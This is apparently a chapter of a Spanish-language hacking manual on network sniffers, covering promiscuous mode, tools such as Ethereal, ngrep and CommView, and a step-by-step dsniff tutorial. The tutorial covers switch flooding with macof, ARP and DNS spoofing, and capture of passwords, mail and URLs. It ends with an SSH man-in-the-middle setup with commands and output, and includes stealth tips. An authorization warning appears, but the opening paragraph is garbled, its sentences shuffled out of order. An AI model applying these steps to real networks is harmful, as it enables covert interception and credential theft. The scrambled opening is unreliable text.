Entre los usos típicos de los sniffers se incluyen: la captura automática de contraseñas. desbordamiento de memoria. Podemos considerar a los sniffers como aplicaciones grabadoras que registran datos que deambulan por la red y pueden también usarse para la creación de registros de red y así evitar que los intrusos sepan que están siendo monitoreando. Por su naturaleza misma. sólo la máquina que tiene la IP de destino podrá recoger los datos en virtud de que la tarjeta de red rechaza todos los paquetes que no están dirigidos a ella. por lo que considero que los sniffers están desempeñando un ataque igual de malicioso y serio que cualquier otro ataque activo. conversión del tráfico de red en un formato entendible. puede ponerse clandestina (o legalmente en caso de ser el administrador de un sistema propio). La tarjeta en la PC. Los de esta clase interactúan con la Tarjeta de Interfaz de Red (NIC o tarjeta Ethernet) para capturar absolutamente todos los paquetes que se encuentren dentro del rango del sistema que está a la escucha. El término original que describe la captura de todos los paquetes en una red se conoció como “Sniffing the ether” esnifar el éter. un ataque que se efectúa en una máquina remota provocando un robo de información. Este tipo de ataque no hace intrusión en una computadora o red por fuera de su propio segmento. las tarjetas Ethernet incorporan un filtro que ignora todo el tráfico de datos que no están destinados a la PC donde esta se encuentra. Aunque para esa acción existen programas específicos como los IDS o Intrusion Detection System (Sistema de Detección de Intrusos). floods de red y otros tipos de incursiones se consideran un ataque activo y es ilegal. el sniffer basado en Ethernet se pondrá a capturar el tráfico que cruza el segmento Ethernet local. La palabra tampoco debe confundirse con la sustancia química éter (óxido de etilo).En su orígen. Los administradores de sistemas analizan los paquetes para conocer qué es lo que sucede en su red y qué tipo de datos se envían hacia y desde la red. Básicamente un sniffer lo que hace es poner las tarjetas en modo promiscuo. que la máquina acepta todos los paquetes que van por la red y no solo los que van destinados a ella. que a fin de cuentas no son mas que sniffers con funcionalidades especiales y que veremos más adelante en éste documento. Esnifar es anglicismo que se define como olfatear. La víctima no tiene indicadores que señalen la actividad a que está siendo sometida. en modo promiscuo para obligar a la NIC a que reciba TODOS los paquetes que recorren la red. Tipos de Ataques Con Sniffers La acción de usar un sniffer para husmear una red en busca de passwords se considera un ataque pasivo. siendo ésta una buena traducción. En la frase se juega con la palabra éter (de la mística bóveda etérea) pero refiriéndose en realidad al Ether. problemas de conexión entre computadoras). Las PCs tienen la capacidad de capturar todo el tráfico de la red. los sniffers fueron desarrollados con la finalidad de depurar los problemas en las redes. el término tecnológico que se usa para describir la tierra de los paquetes constituídos por cables coaxiales y tarjetas de red. En teoría. medición del tráfico. para no saturar la tarjeta demasiado y siendo que a una persona no le interesan los datos de las demás personas. switches o dispositivos de segmentación. Por otro lado. es decir. sin importar lo que tenga en la cabecera como IP de destino. análisis de fallos para descubrir problemas potenciales en las redes (por ejemplo. un ataque pasivo es pasado por alto por la persona que está siendo atacada. sin embargo. Despues de que la tarjeta de red se ha puesto en modo promiscuo. El sistema que escucha es precisamente el sistema que tiene el sniffer instalado. detección de intrusos (con el fin de descubrir a los hackers maliciosos que quieren introducirse al sistema). 105 . Existen diferentes tipos de sniffers pero los más comúnes son los que se basan en Ethernet. en virtud de que los sniffers realmente olfatean los datos. Sin embargo debe notarse que estos sniffers no tienen la capacidad de capturar los paquetes que viajan más allá de los routers. sin embargo.

El paquete porta una cabecera con la información del destino. se puede activar o desactivar a nuestro antojo el modo promiscuo de una tarjeta del modo siguiente: $ ifconfig eth0 promisc <-para activar $ ifconfig eth0 –promisc <-para desactivar 106 . En las redes de difusión. cuando una máquina envía una trama a otra indica en un campo reservado la dirección del host destino. Los sniffers resultan muy útiles cuando una red está conectada mediante Hubs y todos pueden espiar los datos de todos. Este es el funcionamiento normal del protocolo TCP/IP. Como ya mencionamos. La palabra tiene en el vocabulario popular una connotación despectiva y en el caso de las tarjetas de red. ¿Pero porqué es “casi imposible”? Véanse los capítulos introductorios acerca de la MAC y el ARP desarrollados anteriormente. cualquier usuario (hasta un Lamer) puede colocar un sniffer para poner en modo promiscuo la tarjeta de red. Un router y un sniffer pueden leer los datos dentro del paquete así como la dirección destino. solo la legitima receptora podrá capturarla de la red. A diferencia de los circuitos telefónicos.Lo siguiente es un resultado mostrado por uno de los sniffers más populares: $&& #'$GERRY”!g1e2r3r4y5 g1e2r3r4y5 cd /software El nombre de usuario es GERRY y el password es g1e2r3r4y5 La gracia de esto es que en una red normal (sin usar metodos de encriptación de passwords como el Kerberos) van los paquetes con el login y passwd de otras máquinas con lo que se podrán conseguir cuentas en otras máquinas sin hacer casi nada. Pero si la red se encuentra segmentada mediante conmutadores (switches). En sistemas windows. El sniffer puede capturar los datos transmitidos por la red. Sólo aquella máquina con esa dirección puede recibir el paquete. para poder hacer que las máquinas que solo leen las tramas también tengan la posibilidad de capturarlas hay que ponerlas en modo promiscuo. ya que es algo que se supone no debe estar al alcance de cualquier persona. los datos se quedan por dentro de cada segmento y es casi imposible detectar el tráfico desde un segmento exterior. Un router (ruteador) lee cada paquete de datos que pasa por él y determina el destino del paquete dentro de la red. documentos confidenciales y cualquier otro tipo de dato que viaje por la red desencriptado. El modo promiscuo anula el filtro MAC. Sin embargo. Para poner la tarjeta en modo promiscuo en una máquina con Linux. ser root. Aunque todas las máquinas pueden ver esa trama. De este modo las tarjetas leen todo el tráfico que circula por la red. En Linux. la forma más conveniente de compartir información entre dos computadoras es por medio de Ethernet. Pueden verse desde emails. siendo root. las redes de computadoras son canales de comunicación compartidos. Esto significa que la PC puede recibir información de otras computadoras. debemos tener privilegios de administrador. También sabemos que se puede poner una tarjeta de red en modo promiscuo para que reciba todos los paquetes sin importar lo que diga la cabecera. es muy valida. El cableado Ethernet trabaja enviando paquetes de información por todos los nodos de la red. La Promiscuidad Ya mencioné antes éste término relacionándolo con el modo de operar de las tarjetas de red.

081970] device eth0 entered promiscuous mode En la versión de Linux Ubuntu o Freespire. mensajes.0 b)  TX bytes:0 (0. entre muchísimas otras. Si nos cansamos de teclear sudo todas las veces. cuando la tarjeta pasa al modo promiscuo. pudiera ser que se requiera ingresar el comando previo su o sudo que nos permite ejecutar comandos con privilegios de root. sudo significa SUperuser DO. Solo son interceptados por el sniffer en sí y eso diferencia las preferencias entre uno y otro. me refiero a que pueden mostrar desde passwords. Al decir que lo capturan todo. Como Funciona Un Sniffer Un sniffer lo que hace es olfatear (de ahí el nombre). Antes del comando ifconfig. El comando "sudo" pedirá un Password (o puede que no lo pida). que si no están cifrados. se nos da la opción de abrir una terminal en modo superusuario para que la contraseña solo se ponga una vez. queda reflejado en el archivo de logs. la de aplicación.Para comprobar el modo promiscuo escribe en la línea de comandos ifconfig -a eth0      Link encap:Ethernet  HWaddr 00:0D:87:07:6D:D0           UP BROADCAST PROMISC MULTICAST  MTU:1500  Metric:1           RX packets:0 errors:0 dropped:0 overruns:0 frame:0           TX packets:0 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000           RX bytes:0 (0. Esto les ayuda a depurar y solucionar los problemas presentados. cualquier persona los puede ver. porque siempre se usa la última capa. Las personas que administran los sistemas pueden analizar los paquetes capturados para conocer qué es lo que esta sucediendo en la red. Sólo que tenemos que escribir la contraseña de usuario (aunque no aparezcan los signos de ****). una nueva distribución de Linux. No nos damos cuenta de esto. parecida a esta: /kernel: fxp0: promiscuos mode enabled o quizá igual a esta Sep 26 15:53:00 XX kernel: [27490. Los sniffers capturan. podemos teclear el comando con ciertas opciones: sudo -s seguido de la contraseña de usuario. Para verlos debemos teclear: $ su luego: # cat /var/log/messages Y debe haber una línea.0 b)           Interrupt:20 Base address:0xd400 Normalmente. En Freespire. Cuando uno se conecta al Internet. Al bajar más de nivel se pueden entender las tramas puras de la información que circula por la red. Podemos considerar a los sniffers como grabadoras que registran lo que capturan. 107 . la cantidad de información y cómo muestre cada paquete capturado. Los sniffers esnifan el tráfico que detectan y muestran las tramas de datos desnudos antes de ser interpretados por el programa correspondiente. Los programas de aplicación proporcionan la interfaz y hacen el trabajo sucio por nosotros. no se entra como root inmediatamente. interpretan y guardan los paquetes enviados por la red para un posterior análisis. estamos aprovechando los protocolos. ya que es una forma de proteger el sistema de modificaciones peligrosas.

Para que la mayoría de los sniffers funcionen de manera correcta, se requiere de una librería especial (o biblioteca, según ciertos autores) que Winxx no posee y que se llama Winpcap, la que resulta casi imprescindible para realizar las acciones de captura del sniffer y absorber el tráfico de la Red. Esta librería puede descargarse desde http://winpcap.polito.it. Este archivo se basa en la librería Libpcap de los sistemas Linux que ya traen por defecto esta librería. Debemos hacer una diferencia acerca de los sniffers. Los hay de dos tipos: los comerciales, usados por los SysOps (administradores de sistemas); y los Underground, usados por aquellos que gustan de asaltar computadoras. Independientemente del uso que se les dé a estos programas, están disponibles para los usuarios como software comercial, shareware o freeware. Programas Sniffers Hay muchisimos sniffers que poseen muchas opciones y que se pueden encontrar por la red, incluso algunos comerciales. Los más conocidos y distribuidos en circulos underground son sniffers para SunOS, Linux. Por otra parte, programas bien conocidos como Etherfind o Tcpdump se pueden utilizar estupendamente como sniffers, aunque no hayan sido concebidos para esos fines. Tcpdump fue de los más populares en su tiempo Algunos permiten sniffear algunos puertos o todos, buscar palabras en los paquetes, etc y los hay desde algunos muy sencillos hasta otros que son comerciales. Uno de los más usados es el Ethereal, disponible para Winxx y Linux y es gratuito. Se puede descargar desde www.ethereal.com. El tcpdump es un programa bastante grande y esa característica lo hace problemático ya que es un monitor de red muy potente pero que tambien delata su presencia si se introduce en una máquina, porque tiene muchos archivos y puede ser fácilmente detectado al usar el comando ps -axw por lo que es mejor evitar usarlo y si estamos en un Linux, usar sniffers pequeñitos. También están el Gobbler y el Network Spy. Este último es interesante por su función Packet Generator para Winxx, que permite crear un paquete personalizado y enviarlo por la Red. El único problema es que es de paga. Para Winxx existen muy pocos programas que permitan manipular los paquetes en este nivel. En Linux si hay y se pueden descargar de todo tipo desde www.freshmeat.net. En este site se pueden descargar muchas otras utilerías. Hay una en especial, el Ngrep que trataremos brevemente más adelante. Esniff Es un programa muy pequeño y en Internet puede hasta descargarse el código fuente. Sólo captura los primeros 300 bytes de cualquier sesión Telnet, FTP. Existen otros programas más avanzados y mejores. Gobbler Esta herramienta no fue creada para Windows propiamente, pero de cualquier manera es un sniffer que se puede utilizar bajo Winxx en una red Ethernet. Su función primordial es la captura de los paquetes que pasan por una red y así, posibilitar conseguir desde logins, passwords hasta cualquier otro tipo de información que se desee. Lógicamente si los paquetes están encriptados, nos dificultará el proceso, ya que habrá que desencriptarlos, si se puede. Como siempre, se abre una ventana y se ejecuta el programa de la siguiente manera: C:\>gobbler

108

Se activará el programa y podrán verse una serie de ventanas, en este punto debemos pulsar la tecla <ESC> y saldrá una ventana con un menú. Ahora solo tenemos que configurar el programa para nuestra red. Es muy sencillo de utilizar, con un poco de practica podremos fácilmente dominar este sniffer. Como sugerencia conviene leer el archivo de documentación que viene con el paquete, ya que explica como configurar el programa. Ngrep Es una herramienta que permite ser usada de un modo casi similar a la utilería Grep (Global Regular Expression Print) pero aplicado a redes (la N es de Net, red). Existe para Winxx y Linux. Se le alimenta con una cadena de caracteres y muestra las líneas que coincidan con un patrón dado. Su uso es sencillo, para espiar contraseñas en conexiones FTP que ocurran en nuestra red escribimos en la línea de comandos: ngrep "USER|PASS" tcp port 21 Este programa está disponible para Winxx pero no es tan bueno como la versión que existe para la plataforma Linux ya que no posee la suficiente potencia; por lo que para tener mayor control de los procesos, hay que migrar a la plataforma preferida de los ejecutores del Oficio. LibNet En lo que a generación de paquetes se refiere, en Linux existen utilerías muy versátiles para llevar a cabo estos menesteres. Podemos usar el programa LibNet. LibNet es un conjunto de herramientas que permiten la modificación e inyección de paquetes modificados en redes, a alto nivel. Solo tendremos que esnifar un poco el tráfico para ver de cerca la estructura de cierto tipo de paquetes e imitarlos y de ese modo experimentar distintas respuestas y configuraciones de quien lo reciba. El programa también permite configurarlo con distintos tipos de reglas para filtrar de modo conveniente el tipo de paquete que nos interesa conocer y cuales descartar. Ethereal Ethereal es un analizador de protocolos que permite examinar datos de una red o desde un archivo de captura en un disco. De modo interactivo, se puede navegar a través de los datos capturados, ver un resúmen e información detallada de cada paquete. Algunas distribuciones de Linux lo traen incorporado y aunque fue desarrollado en sistemas Unix, ya se encuentran versiones para otras plataformas como Windows. Casi podemos asegurar que Ethereal es el mejor sniffer Freeware disponible para Windows. Se puede descargar desde www.ethereal.com Esta utilería es muy sencilla de usar. Con la combinación de teclas CTRL+K mostrará un cuadro de diálogo. Si en ese lugar se pulsa sobre Enable Network Name Resolution, no mostrará las direcciones IP, sino el nombre de la máquina que está asociada a esa IP. En esta misma pantalla se pueden configurar los filtros (para que solo capture la información en la que aparezca el patrón introducido) y el archivo donde se guardará la información. El Ethereal viene con dos herramientas que se usan con la línea de comandos: Editcap: que es una útil herramienta que permite al usuario editar el formato de un archivo generado por Ethereal. Tethereal: que permite esnifar sin necesidad de gráficos. Para capturar paquetes se necesita tener privilegios de root.

109

CommView El programa CommView es una herramienta que nos posibilita la monitorización del tráfico de las redes locales y permite detectar los posibles problemas que vayan apareciendo. El programa tiene una versión de prueba y, según ciertos operadores de sistemas, vale la pena desembolsar los pocos dólares que cuesta. Una de sus principales ventajas es que si el ancho de banda en una red disminuye demasiado, puede usarse el CommView para ver si hay intrusos paseándose a sus anchas o para indicar la presencia del tipo de virus que generan reportes de barridos de direcciones IP en busca de equipos vulnerables. CommView es un programa amigable y puede mostrar estadísticas IP. Se puede visualizar el equipo por su IP o por su dirección MAC. Y se muestra el equipo local y remoto, el protocolo y los distintos puertos y el nombre del host si es que puede ser resuelto por DNS. El programa tiene una pestaña donde se pueden analizar los paquetes intercambiados con equipos remotos o de la misma red. CommView también posee una herramienta llamada Reconstruir Sesión TCP que permite ver los datos en modo HEX (hexadecimal) o ASCII y así poder conocer muchos datos de lo efectuado por cada usuario en sus diversos tipos de conexiones (http, TCP, NetBios, etc). Esta parte es la peligrosa en caso de que esta herramienta caiga en manos que no sean las del SysOp que desea solucionar problemas. Los paquetes se descifran a la capa más baja con el análisis total de los protocolos más usados. Igualmente se puede tener acceso a los datos en bruto de cada paquete. Peden almacenarse los paquetes capturados para un análisis futuro. Se pueden desarrollar filtros para limitar la captura sólo a lo que deseamos. CommView ofrece la decodificación completa de los siguientes protocolos: ARP, BCAST, DHCP, DNS, ICMP, ICQ, SMTP, UDP, TELNET, TCP entre otros más. CommView puede ser descargado desde www.tamos.com/download/main/

110

La Suite Dsniff
Hablar de dsniff requiere su capítulo propio porque es importante saber como manejarlo para sacarle el mayor provecho. Ya que hemos discutido ampliamente acerca de los diferentes tipos de ambiente Ethernet y el concepto detrás de el esnifado, podemos empezar a manejar la suite Dsniff. Descripción Dsniff es un conjunto de aplicaciones para Linux destinadas a la auditoría de red y a los tests de penetración. Lo componen varias herramientas que monitorean la red de manera pasiva (es decir, no se genera ni se modifica ningún dato capturado), en busca de información interesante: contraseñas, correos, archivos, etc. Permite interceptar datos en entornos de redes segmentadas, que como ya mencioné utilizan dispositivos de capa 2, como son los switches en vez de hubs. Advertencia Si nos decidimos a emplear dsniff, deberemos hacerlo en nuestra propia red doméstica o, si trabajamos en una compañía, con el permiso de los administradores de la red, por escrito y con copia para cada una de las partes . Debemos saber que existen métodos para detectar sniffers y que puede haber serios problemas legales cuando se usan sin autorización herramientas que también pueden ser usadas por hackers maliciosos. Ha habido casos de despidos y encarcelamiento para las personas que hacen caso omiso de estos consejos. No es un juego y la reputación de uno está en la balanza. Instalación Lo que detallaremos en este apartado será más que nada las instrucciones para instalar la suite en nuestro sistema y otros aspectos importantes sobre su uso. Tal y como lo describe su creador, Dug Song, dsniff contiene las siguientes utilerías: arpspoof: Redirige los paquetes de un host blanco (o todos los hosts) a otro host, falseando las respuestas ARP. Esta es una forma efectiva de esnifar el tráfico sobre un switch. dnsspoof: Falsea respuestas a peticiones de puntero/ direcciones DNS sobre la LAN. Esto es útil para sacarle la vuelta a los controles de acceso basados en nombres de hosts o para implementar una buena variedad de ataques man-in-the-middle. dsniff: Es un esnifador de contraseñas que maneja FTP, Telnet, SMTP, HTTP, POP, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix, ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase y los protocolos SQL de Microsoft. filesnarf: graba los archivos esnifados del tráfico NFS en el directorio actual. macof: Inunda la red local con direcciones MAC aleatorias (causando una falla de apertura en algunos switches que están en modo de repetición), lo que facilita el esnifado. mailsnarf: Muestra mensajes de correo electrónico esnifados de tráfico SMTP y POP en el formato Berkeley mbox, adaptado para navegación fuera de línea con el lector de correo favorito. msgsnarf: Registra mensajes seleccionados del Mensajero instantáneo de AOL, ICQ 2000, IRC, MSN Messenger, o sesiones de chat en el Yahoo Messenger. tcpkill: Mata conexiones TCP en progreso (útil para aplicaciones basadas en libnids que requieren un completo acuerdo de tres vías (3-way handshake) para creación de TCB). tcpnice: Disminuye la velocidad de las conexiones TCP especificadas sobre una LAN via “activa”. urlsnarf: Reporta todas las URLs esnifadas del tráfico HTTP que puede ser empleado para un análisis posterior con el analizador de registros de web favorito. webspy: Envía las URLs esnifadas de un cliente para mostrar las páginas en nuestro navegador en tiempo real. sshmitm: Proxea y esnifa tráfico SSH redirigido por dnsspoof, captura passwords usados para loguearse y, como opción, secuestra sesiones interactivas. webmitm: Proxea y esnifa tráfico HTTP/HTTPS redirigido por dnsspoof capturando logins y envíos de formas encriptadas en SSL.

111

” Los números de versiones son muy importantes ya que una versión diferente puede provocar que la suite no funcione adecuadamente. necesitaremos compilar e instalar estos archivos.packetfactory.packetfactory.tar.3b4 (http://www.16 (http://www. Compilación e instalación: Dejando el archivo dsniff como el último para compilar.net/Projects/libnet) Libnids v-1.sleepycat. Lo mejor es bajarlas en el formato tar. Si tenemos pensado emplear arpspoof para capturar el tráfico de red.gz El comando tar con las opciones -xzf desempaquetará los archivos y creará una carpeta con el mismo nombre (por ejemplo. Ya que los archivos estén desempaquetados.monkey.org/~dugsong/dsniff/) En la página de preguntas frecuentes de dsniff www. Buscamos el archivo configure.gz.gz y colocarlos en el directorio /bin.2 (http://www. podremos experimentar con las distintas herramientas para tener la posibilidad de determinar cómo es que nos pueden ayudar a auditar la seguridad de nuestra red. Libpcap v-0.Una vez que estas utilerías se encuentren instaladas y ejecutándose.4 What else is required.org) Dsniff-2.openSSL.com) OpenSSL (http://www.tar. necesitaremos descargar el fragrouter que se puede obtener de http://www. dsniff-2.monkey.3).0. Instrucciones de Instalación Para poder utilizar dsniff se requiere descargar las siguientes librerías.2. necesitamos completar tres pasos más por cada archivo para compilar e instalar las aplicaciones.tar. bajo la sección “1./configure Posteriormente.org/~dugsong/dsniff/faq.3. comenzamos con la primera de las aplicaciones.net/Projects/libnids) Libdb v-db-3.17 (http://www. Abrimos una consola de comandos y tecleamos: ~$. tecleamos el comando make para compilar el código ~$ make Ya que se haya completado la compilación. A continuación describiremos el primer proceso: Para desempaquetar en un solo paso el comprimido .org) Libnet v-1. Después de descargar las librerías.1.com/research/nidsbench/ Es mejor descargar todo en formato tar.anzen.gz crea una carpeta llamada dsniff-2. por lo que deberemos cambiarnos al directorio libpcap.a (http://www.tcpdump.5. tecleamos el comando que permite la instalación de las librerías: ~$ make install 112 .html podemos encontrar ligas directas a estas utilidades.3.gz hay que teclear desde una consola de comandos: ~$ tar -xzf dsniff-2.

lo que causaría interferencia sobre la red. como mencionamos anteriormente. pero no continuará hacia el destino al que se desea llegar. podemos sacar provecho del dsniff. interface será eth0 or eth1. lo compilamos hasta el final del proceso. todos los hosts están conectados al switch sobre su propio puerto aislado. con excepción de libdb. etc. El juego de herramientas de dsniff puede usarse en Linux.com que tienen indexadas muchas páginas que hablan de dsniff. Comenzar a usarlo Una vez que todos los paquetes se han instalado en la computadora.deja.tar. En este punto es necesario comenzar a revisar las formas de ataque y hacer un test de penetración. OpenBSD. tecleamos: ~$ fragrouter –I interface B1 En la cadena del comando. Existen tres posibilidades para accesar al tráfico de una red: Caso 1. Aunque existe una versión para WinNT.com o en www.google. 113 . Preliminares: Accediendo Al Tráfico De Red Objetivo Antes de comenzar a usar dsniff sobre una LAN. que requiere que empleemos el comando . Para arrancar con el fragrouter. Para ejecutar fragrouter. Todo el tráfico que va a cualquier host es visible para cualquier otro host de la red. necesitamos tener privilegios de root o acceso de administrador a un host conectado a la LAN.Debemos seguir el mismo poceso con todos y cada uno de los archivos. Si tenemos solo una tarjeta de red. sobre todo el arpspoof. Es importante activar el IP forwarding en nuestra computadora antes de empezar a usar las utilerías. Si por alguna razón se muestran errores mientras se instalan las librerías. Solo hay que asegurarnos de ejecutar el fragrouter. FreeBSD y Solaris. estaremos listos para compilar e instalar el fragrouter. todo el tráfico que estamos redirigiendo de otras computadoras irá a nuestra computadora. La red de área local usa un switch (conmutador): En la arquitectura conmutada. el dsniff. se puede teclear fragrouter B1 y funcionará.gz. o de otro modo activar el IP forwarding en nuestra computadora. seguimos los mismos pasos enlistados arriba para desempacar y compilar el programa. Caso 2. no necesitamos nada. se pueden empezar a usar las demás utilerías como el arpspoof. Si descargamos el . abrimos una consola de comandos y tecleamos el comando que nos mostrará su manual: ~$ man fragrouter En las páginas del manualito se nos mostrarán los diferentes tipos de opciones que se pueden usar con las aplicaciones./configure --enablecompat185 El último archivo. podemos buscar ayuda en Internet. no es recomendable por lo viejo y achacoso que es. ya que existe la probabilidad de que muestre errores si las librerías no se han instalado previamente. La red de área local utiliza un hub: en este caso. En las secciones siguientes mostraremos como se puede utilizar dsniff en varios escenarios de ataque. porque si no lo hacemos. Podemos buscar en www. Una vez hecho esto./configure con un parámetro especial: ~$ . Tras activar el fragrouter.

es decir. de otro modo se notará rapidamente que el host blanco ha dejado de tener conexión con el lado exterior de la LAN. en virtud de que solo afecta al host objetivo y en la manera que nosotros especifiquemos. Aunque el fallo de cerrado no es opción para la mayoría de los equipos. De hecho. Nótese que por su naturaleza. La red de área local usa un switch y nosotros deseamos apuntar a un host específico. podemos dejar a un lado el switch y enfocarnos a crear confusión en ese host específico para que piense que nosotros somos el gateway/router. de modo que vamos navegando las páginas en tiempo real. Ambos programitas interpretan el tráfico de red relevante para obtener resultados. debemos indicar al host atacante que envíe paquetes hacia el gateway verdadero. el cual automáticamente detectará y capturará mucha información muy interesante. pero jamás tendrá el conocimiento integrado de las variadas aplicaciones que dsniff posee. este tipo de esnifado es el más clandestino de todos. 114 . necesitamos usar arpspoof para enviar paquetes ARP falsos al host blanco diciéndole que el host de ataque Man-In-The-Middle es el gateway. Se logra así: Dado que estamos apuntando a un particular host y no a la LAN entera. pero en vez de registrar la URL. Caso 3. o de la LAN completa. Si el switch no hace un “fallo de apertura”. la esnifa y la sigue. Nota: La mayoría de los switches pueden ser configurados para permitir solo una dirección MAC que sea fija por puerto. cualquier sniffer que se respete capturará el tráfico igual de bien. Nótese que esto también causará que sufra el desempeño de la red y que esta disminución de poder sea detectable por cualquier otra persona que ocupe la misma red. Así de sencillo. Antes de hacer esto. filesnarf graba los archivos capturados en el directorio actual. Ataque Uno: Esnifado de Contraseñas Una vez que el tráfico de red del host blanco. podría considerarse un tipo especial de ataque fácil de denegación de servicio. macof no tendrá efecto alguno. cualquier tráfico que el host desee enviar hacia el exterior de la LAN. enviando tráfico a todos los puertos. por lo que es poco probable que alguien se de cuenta del suceso. la intención principal es incrementar el desempeño (ya que cada host obtiene una conexión propia en vez de ser compartida como con el hub). Sin embargo. En este caso. Para lograr esto. pero está diseñada para capturar peticiones HTTP y registra en una log la URL a que hace referencia. la opción que resta es provocar un “fallo de cerrado”. Sin esta tabla. La mayoría de los switches responden a esta condición con un “fallo de apertura”. Para lograr esto: Usamos la herramienta macof para inundar (flood) la red con direcciones MAC aleatorias que desbordarán la tabla de traducción interna del switch. Por lo tanto. solo requerimos causar que el host blanco dirija equivocadamente los paquetes de la red hacia nuestro host de ataque Man-InThe-Middle (sobre la LAN). en cuyo caso nada de tráfico llegará a ningún host de la LAN. Ataque Tres: Captura de URL La herramienta urlsnarf es similar a las otras que ya hemos mencionado. lo cual significa que comenzará a actuar como un si fuera un hub. está disponible para el host esnifador tras haber empleado las técnicas descritas anteriormente. por lo que no tendrá más opción que enviar todos los paquetes a todos los puertos. De esa manera. es sencillo ya arrancar el programa dsniff. el switch ya no podrá saber qué host está en cada puerto. pasará primero por nuestro host. el capturar correos electrónicos y archivos transferidos es igual de fácil como la captura de contraseñas. cualquier tráfico que se intente enviar por fuera de la LAN llegará a nosotros. Ataque Dos: Captura de Mensajes y Archivos Usando las utilerías msgsnarf y filesnarf. msgsnarf graba el correo capturado en un archivo con formato mbox para ser leído por programas de lectura de correos standard de UNIX. si no deseamos esnifar todo el tráfico en la red local. es fácil de vencer simplemente confundiendo al switch para que pierda la noción de qué host está en qué puerto.El switch lleva la pista sobre cuál host se encuentra en qué puerto y solo envía tráfico cuyo objetivo sea ese host y ese puerto. Por esta razón. webspy hace más o menos lo mismo.

1. Este tipo de ataque es particularmente efectivo cuando se trata con conexiones encriptadas con criptografía de clave pública. como lo es el cambio de una clave.1. Configurando el Ataque Ejecutar un ataque Man-in-the-Middle (MITM) es más complejo que los ataques anteriores. Recordemos que un ataque Man-in-the-Middle es cuando el host blanco es engañado para que piense que se está conectando a un host destino cuando en realidad la conexión la hace con el host atacante.168. En este escenario hay tres sistemas (además del gateway) involucrados en nuetra red de muestra: Client Host: Windows.Ataque Cuatro: Man-in-the-Middle Todos los ataque que hemos mencionado hasta el momento son pasivos ya que no alteran el modo de funcionar del sistema que está siendo atacado. La criptografía de clave pública requiere que el host que se conecta tenga una copia de la clave pública del otro host al que se conecta. Al inicio podemos observar que el cliente tiene la entrada correcta ARP para el gateway: [Cliente] C:\WINDOWS>arp ­a Interface: 192.77 on Interface 0x2000003 Internet Address Physical Address Type 192. Con protocolos tales como SSH. Nótese que esto no es culpa del protocolo.1. Es increíble cuantos usuarios pulsan OK sin pensárselo dos veces.77 (Dirección MAC irrelevante) Atacante MITM: (con dsniff ejecutándose) MAC=08­00­BA­DD­FE­ED.168.host. Esto se logra utilizando la utilería arpspoof. por tanto.168. Mariana se deja amar por Juan creyendo que es Pepe y le cuenta sus más íntimos secretos. no es correspondido porque ella ama locamente a Pepe.210 Destino: Dirección MAC irrelevante. Una noche. el host atacante posee ahora el control y puede ver y/o modificar la información obtenida. con  PuTTY instalado (Un programa gratuito SSH para Winxx) IP=192.1. un sujeto que ama a Mariana.1.1 Debemos engañar al host cliente (el objetivo de nuestro ataque) para que piense que el host MITM es el gateway. Hay que notar que el hacer que un switch tenga un fallo de apertura puede ser visto como un ataque activo sobre ese switch. pero empleando las herramientas del dsniff se vuelve más fácil.1 08­00­de­ad­be­ef dynamic 115 .x LAN MAC=08­00­DE­AD­BE­EF.1. IP=192. IP=192.) Si el usuario conectado en el otro extremo jamás ha visto la clave privada correcta. es muy probable que el falseamiento no sea detectado y que el ataque sea un exito. De esta manera.168. un ataque Man-in-the-Middle sí es un ataque activo ya que el host atacante juega un papel importante en el manejo del tráfico de la red entre los blanco de origen y destino.1. La culpa recae en los usuarios y en las implementaciones que muestran pequeñas advertencias cuando ocurre un evento tan serio.168. tendrá que conseguirla de alguna parte. Esto es análogo a una situación donde Juan. IP está por fuera 192. desencriptar los datos. Aún y si el usuario tiene la clave pública correcta para hacer la comparación. Juan se disfraza y se hace pasar por Pepe para cortejarla. aunque en realidad el tráfico de la red solo está siendo observado. el host destino suministrará su clave pública. si no. no se ha modificado su enrutamiento ni se ha interceptado.168.168. Los ataques Man-in-the-Middle toman ventaja al interceptar el intento de conexión inicial y substituir su propia clave pública falsa (para la que tienen la clave privada y pueden.com" Gateway (y servidor DNS): Sirve 192. el sistema presentará un mensaje que le informa que la clave ha cambiado y si desea continuar.x Hostname = "external. Por otro lado.

1.168. Debemos recordar activar el ip-forwarding para que el host MITM envíe los paquetes al gateway verdadero. Este es el host al que nos hemos conectado anteriormente. tendremos en realidad dos conexiones: una que va desde el host blaco/víctima al host MITM.host.1.1 08­00­ba­dd­fe­ed dynamic Podemos ver que esta es la dirección MAC del host MITM y todo el tráfico destinado al gateway desde el cliente se dirigirá al host MITM. En este punto.host.1. necesitamos hacer búsquedas DNS dentro del tráfico.168.1.168.x.Ejecutando arpspoof sobre el host MITM eso cambiará.host. Respondemos con la dirección IP del host MITM atacante en lugar de la dirección IP real. y otra que va desde el host MITM al host destino verdadero. Para minimizar la visibilidad de este ataque.com [192. y no el más nuevo SSH2.com". De manera adicional. es decir.1. Para verificar que esto funciona. así que ya tenemos una copia de la clave pública verdadera.210] with 32 bytes of data: Fuciona.168.168.168. sshmitm solo soporta el protocolo SSH. podemos echar mano de las utilerías sshmitm o webmitm para manejar ambos protocolos (por cierto. intentaremos conectarnos a example. sshmitm o webmitm envían una clave pública falsa al host blanco y comienzan una conexión propia al servidor destino real. Lo que obtenemos es el siguiente mensaje de advertencia: 116 .77 on Interface 0x2000003 Internet Address Physical Address Type 192.com se reporta con la IP del host MITM. dado que existen dos conexiones independientes.1. Para lo siguiente. El host blanco comenzará entonces la conexión al hostname que especificó el usuario. Una vez hecho esto. desencriptando y reencriptando el tráfico en el proceso. el host MITM.host. pero con la dirección IP que nosotros especificamos (192. Si la aplicación que se usa es SSH o un navegador web que emplea HTTPS. todo mientras se monitoriza el tráfico desencriptado. external.com empleando la herramienta PuTTY en el host cliente.1 Ahora podremos revisar de nuevo la tabla ARP del cliente para ver si funcionó: [Cliente] C:\WINDOWS>arp ­a Interface: 192.host. Esta fase del ataque está completo.168. nosotros respondemos a esa búsqueda en vez de pasarla al verdadero servidor DNS.210). dnsspoof falseará todas las búsquedas de hostname lo cual está bien para nuestro ejemplo: [Host MITM] % dnsspoof Revisar ahora que está funcionando sobre el cliente: [Cliente] C:\WINDOWS>ping external.1. y cuando 